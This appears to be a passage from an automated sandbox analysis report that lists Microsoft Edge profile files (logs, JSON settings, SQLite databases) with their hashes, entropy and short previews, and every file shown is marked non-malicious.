.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.195909052799673
Encrypted:	false
SSDEEP:	6:iOX83h0Q+q2PcNwi23oH+Tcwt8NIFUtF83h2gZmw783hiiQVkwOcNwi23oH+TcwY:76hMvLZYebpFUtohr/Wh254ZYebqJ
MD5:	514B2A1CFA07609956893B131B1C9E75
SHA1:	1BE20FA441B0D4701786154D6F57EFE499212581
SHA-256:	2545FB0B3BD4CDBE8A6AD31943261A75A92DD16BD01EBD580BA54DDA98C45A15
SHA-512:	5588657836CAC4EE99925406D016497CFA0CD83B74D847F201EF7B9DD69F3648C5C4277D2294A5C06A6370374936B6783905865E8779FAF62AB213711DD96C11
Malicious:	false
Preview:	2025/02/14-03:37:30.685 1d08 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2025/02/14-03:37:30.687 1d08 Recovering log #3.2025/02/14-03:37:30.688 1d08 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.195909052799673
Encrypted:	false
SSDEEP:	6:iOX83h0Q+q2PcNwi23oH+Tcwt8NIFUtF83h2gZmw783hiiQVkwOcNwi23oH+TcwY:76hMvLZYebpFUtohr/Wh254ZYebqJ
MD5:	514B2A1CFA07609956893B131B1C9E75
SHA1:	1BE20FA441B0D4701786154D6F57EFE499212581
SHA-256:	2545FB0B3BD4CDBE8A6AD31943261A75A92DD16BD01EBD580BA54DDA98C45A15
SHA-512:	5588657836CAC4EE99925406D016497CFA0CD83B74D847F201EF7B9DD69F3648C5C4277D2294A5C06A6370374936B6783905865E8779FAF62AB213711DD96C11
Malicious:	false
Preview:	2025/02/14-03:37:30.685 1d08 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2025/02/14-03:37:30.687 1d08 Recovering log #3.2025/02/14-03:37:30.688 1d08 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	8720
Entropy (8bit):	0.2191763562065486
Encrypted:	false
SSDEEP:	3:oDjtFlljq7A/mhWJFuQ3yy7IOWU4wc/l4dweytllrE9SFcTp4AGbNCV9RUIMcn:oc75fOqwc/ud0Xi99pEYTn
MD5:	70D44C41FCFA793743FB87ADA882827F
SHA1:	1C19A16E1D7159BC125CEF400FBFA54DC8771169
SHA-256:	CB47D987A32059BC8A2CD71E5377C09105A6BD67548B75554C2B708FD9F9851B
SHA-512:	4CB8AE8A229D95FEC0F6805640A8AE138A9BA40EB46B760C31419F5F7386D48BAB568ECC46763C9ABA5516DF16A025EEF844AEA23EBAF9564B1DC0871A169113
Malicious:	false
Preview:	..............9...&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 12, cookie 0x3, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	3.647424794765743
Encrypted:	false
SSDEEP:	384:aj9P0wcSQkQerxP/KbtpjlU773pLIRKToaA9gam6Iqhf:ad+Se2xP/IlU7WRKcca9
MD5:	0EFC4A577B3A91DD7E2A4F944AB6010A
SHA1:	19EBFE6A698A8BEA67DC89604AA8A6B57E072941
SHA-256:	1291015E69FC3F3F507AC0543F53D001687D7D216752F4E0F536E18FCB834812
SHA-512:	3A88A663A42B8B7E974D62C428DDFB2ACD1776E20BEF72D0755407CE84BC1DEEFC92FE9E6A67571125BE68B3643A3BB16BF5C682A21D7DBE7B652A0C30AFD38E
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	414
Entropy (8bit):	5.279651051847257
Encrypted:	false
SSDEEP:	12:76tuGvLZYeb8rcHEZrELFUtot1F/Wt1X54ZYeb8rcHEZrEZSJ:7g3lYeb8nZrExgK0XoYeb8nZrEZe
MD5:	5C40FE43527D5705228DFF8AB954CC99
SHA1:	8324C3E8AACF1D1095BD4685BA77715C76CAE3DB
SHA-256:	864C0D74FDF3D5A7C5581368B40074FEE473EC0D33AA539DA5CF4F4C19FA0155
SHA-512:	FAFF9BE8356E6364BD166387C416EE1352AEA68D0DA663985EEDAA0ADB08B3358E03C356B412BC539D30E56BC5FDE6F70E57D4079759FAC1CDD8710A857EB193
Malicious:	false
Preview:	2025/02/14-03:37:34.887 17d0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2025/02/14-03:37:34.888 17d0 Recovering log #3.2025/02/14-03:37:34.888 17d0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	414
Entropy (8bit):	5.279651051847257
Encrypted:	false
SSDEEP:	12:76tuGvLZYeb8rcHEZrELFUtot1F/Wt1X54ZYeb8rcHEZrEZSJ:7g3lYeb8nZrExgK0XoYeb8nZrEZe
MD5:	5C40FE43527D5705228DFF8AB954CC99
SHA1:	8324C3E8AACF1D1095BD4685BA77715C76CAE3DB
SHA-256:	864C0D74FDF3D5A7C5581368B40074FEE473EC0D33AA539DA5CF4F4C19FA0155
SHA-512:	FAFF9BE8356E6364BD166387C416EE1352AEA68D0DA663985EEDAA0ADB08B3358E03C356B412BC539D30E56BC5FDE6F70E57D4079759FAC1CDD8710A857EB193
Malicious:	false
Preview:	2025/02/14-03:37:34.887 17d0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2025/02/14-03:37:34.888 17d0 Recovering log #3.2025/02/14-03:37:34.888 17d0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1985
Entropy (8bit):	5.639546502085194
Encrypted:	false
SSDEEP:	48:JZMMzFAq8MkvvC43rXRGV0374tryxhyNXi4RHHS2/48ylsT:JdSvhTR3KbNZTQ8osT
MD5:	352C9B4AA1EF779E86A4CBAD81704B75
SHA1:	D4C60E372AC982DCF763FCBE93F5E4E7CFC33B39
SHA-256:	7E39F0AFD43CA4F0C5A455B9D439A5210C1469967DA9BC9CD23F0178C4561D59
SHA-512:	6378599ECDB165F021ED5B4EE23D05E96A1E35D5086D7F950D170672C59A4C426839D5F0E18AC3E8B873F1C312661C48561886D852D8C9C5B02835E710EA5F21
Malicious:	false
Preview:	fm.].................VERSION.1..META:https://ntp.msn.com............!_https://ntp.msn.com..LastKnownPV..1739522257528.._https://ntp.msn.com..MUID!.2DC2684C548A6DF12F7B7DDF55E86C57.%_https://ntp.msn.com..authRecordTrail...[{"time":"2025-02-14T08:37:37.426Z","action":"NUT","result":"SUCCESS","state":{"isSignedIn":false,"accountType":"UNSUPPORTED_SOVEREIGNTY","signedInAccounts":[0],"storage":{"elt":0,"lt":0,"aace":0,"ace":0,"app_anon":0,"anon":0,"app_wid":0},"appType":"edgeChromium","pageType":"dhp"}}].._https://ntp.msn.com..bkgdV...{"cachedVideoId":-1,"lastUpdatedTime":1739522257610,"schedule":[-1,-1,18,-1,27,-1,21],"scheduleFixed":[-1,-1,18,-1,27,-1,21],"simpleSchedule":[16,15,42,18,20,51,48]}.%_https://ntp.msn.com..clean_meta_flag..1.5_https://ntp.msn.com..enableUndersideAutoOpenFromEdge..false.&_https://ntp.msn.com..oneSvcUniTunMode..header."_https://ntp.msn.com..pageVersions..{"dhp":"20250213.365"}.*_https://ntp.msn.com..pivotSelectionSource..sticky.#_https://ntp.msn.com..selectedP

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	339
Entropy (8bit):	5.190770583384757
Encrypted:	false
SSDEEP:	6:iOX83huVq2PcNwi23oH+Tcwt8a2jMGIFUtF83hYgZmw783h1wIkwOcNwi23oH+Tg:76hKvLZYeb8EFUtohh/Wh1z54ZYeb8bJ
MD5:	C10ADD487066EEAE934331688C3BA926
SHA1:	3C3D3A31A240932F3DA607DC1D2D2B704CE1005E
SHA-256:	69759C96E9DCFCF3CFCB3B6930EB6D18D4C94E95E8D59A248F5DD485A1C1B8C6
SHA-512:	5BB79C7DD2CDE4B6A105D704710DED0766FCA3C9DBC72B744FD6A6DC26FDEC317224BC8BB4B45F1B31F815DD0DD0C6F3DF204FF72E87E02E954994808F340C8E
Malicious:	false
Preview:	2025/02/14-03:37:30.383 6d4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2025/02/14-03:37:30.385 6d4 Recovering log #3.2025/02/14-03:37:30.387 6d4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	339
Entropy (8bit):	5.190770583384757
Encrypted:	false
SSDEEP:	6:iOX83huVq2PcNwi23oH+Tcwt8a2jMGIFUtF83hYgZmw783h1wIkwOcNwi23oH+Tg:76hKvLZYeb8EFUtohh/Wh1z54ZYeb8bJ
MD5:	C10ADD487066EEAE934331688C3BA926
SHA1:	3C3D3A31A240932F3DA607DC1D2D2B704CE1005E
SHA-256:	69759C96E9DCFCF3CFCB3B6930EB6D18D4C94E95E8D59A248F5DD485A1C1B8C6
SHA-512:	5BB79C7DD2CDE4B6A105D704710DED0766FCA3C9DBC72B744FD6A6DC26FDEC317224BC8BB4B45F1B31F815DD0DD0C6F3DF204FF72E87E02E954994808F340C8E
Malicious:	false
Preview:	2025/02/14-03:37:30.383 6d4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2025/02/14-03:37:30.385 6d4 Recovering log #3.2025/02/14-03:37:30.387 6d4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\021ca127-1add-4ac2-8f40-864e5efd82b6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\2351b84e-e2df-4584-b041-fba5ee3b4e44.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1618
Entropy (8bit):	5.3035190857054575
Encrypted:	false
SSDEEP:	48:YcCpWsduCvsafc7leeBRsygCgkhYhbyDF:F2vu22keBxukOhy
MD5:	D07414264D2DA6A121F18223DC50EC04
SHA1:	814D93916C113C3BCB1AFF03A5AB5E9CB2A7BD1E
SHA-256:	D594EC617D902BC5C2742BDF21E9D7DFD29CC95A3C1AA7EC8C2D7BA07417A54B
SHA-512:	93746830632AE0D4E0A764C1226D21474C1282831E1A642ED37973841C5AB1E0FB63F89D55B3ACA3460EC3510D464ABCE7157A5128B5DA694AB3D1A7A53D56A4
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343557218151956","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343557218812706","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwc

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\737b02b5-3268-4721-8256-eefbcac32f70.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\829e379a-8b2e-466f-aeea-99ddf7cbfb5e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\959e343a-4aa1-4fa1-a99f-e3fb3901e73b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	2.788818183972141
Encrypted:	false
SSDEEP:	192:tTR2q4TmRLIEL7DN0C3GLEjsXcf0L/ZJVb:VRhRs4750C2VXI0LhJVb
MD5:	4B1F9DDB0B08605B8CAEC6A3662C022F
SHA1:	AB51E9D275168E58C3174DA01674246386528CF0
SHA-256:	A8337655DF33660867A99A9B736A9B52EFE264F0611C3E3DF3BFC5F16B7E3C81
SHA-512:	391A804B43AE759E00073F87A2E4A4759AA5637CE4FA12A9F271EA134606C0E5977A86D5D34071162D6DC8686D95712C96676121A070999DC94DE73071E66479
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1618
Entropy (8bit):	5.3035190857054575
Encrypted:	false
SSDEEP:	48:YcCpWsduCvsafc7leeBRsygCgkhYhbyDF:F2vu22keBxukOhy
MD5:	D07414264D2DA6A121F18223DC50EC04
SHA1:	814D93916C113C3BCB1AFF03A5AB5E9CB2A7BD1E
SHA-256:	D594EC617D902BC5C2742BDF21E9D7DFD29CC95A3C1AA7EC8C2D7BA07417A54B
SHA-512:	93746830632AE0D4E0A764C1226D21474C1282831E1A642ED37973841C5AB1E0FB63F89D55B3ACA3460EC3510D464ABCE7157A5128B5DA694AB3D1A7A53D56A4
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343557218151956","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343557218812706","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwc

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 9, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 9
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.2795436478907403
Encrypted:	false
SSDEEP:	48:T2fIopKWurJNVr1GJmA8pv82pfurJNVrdHXuccaurJN2VrJ1n4n1GmzNGU1cS2Wl:ifIEumQv8m1ccnvSHDHiiYbM1a
MD5:	12F1B941089A81BA56DE332505C9E36D
SHA1:	42E24B1897FD0BC0B1ACD47192D5CC1BD8B4649C
SHA-256:	CDEE5E4AFE8C9159012832CE7D2BF792314B69F3BA837423E038A17A6C465844
SHA-512:	903C1D1B9EBB30EAD548EFBC3764518E796C5F4B8970E70519C430C8EE8DE8192152346AEFAEDBDB88813033697E5311E442F4BEBBD1F1F28EFCB5DBA7E3BA24
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF2e1f9.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF2f35f.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF2f63d.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\daaf3780-aa6e-4dae-a74b-80855b1b619a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
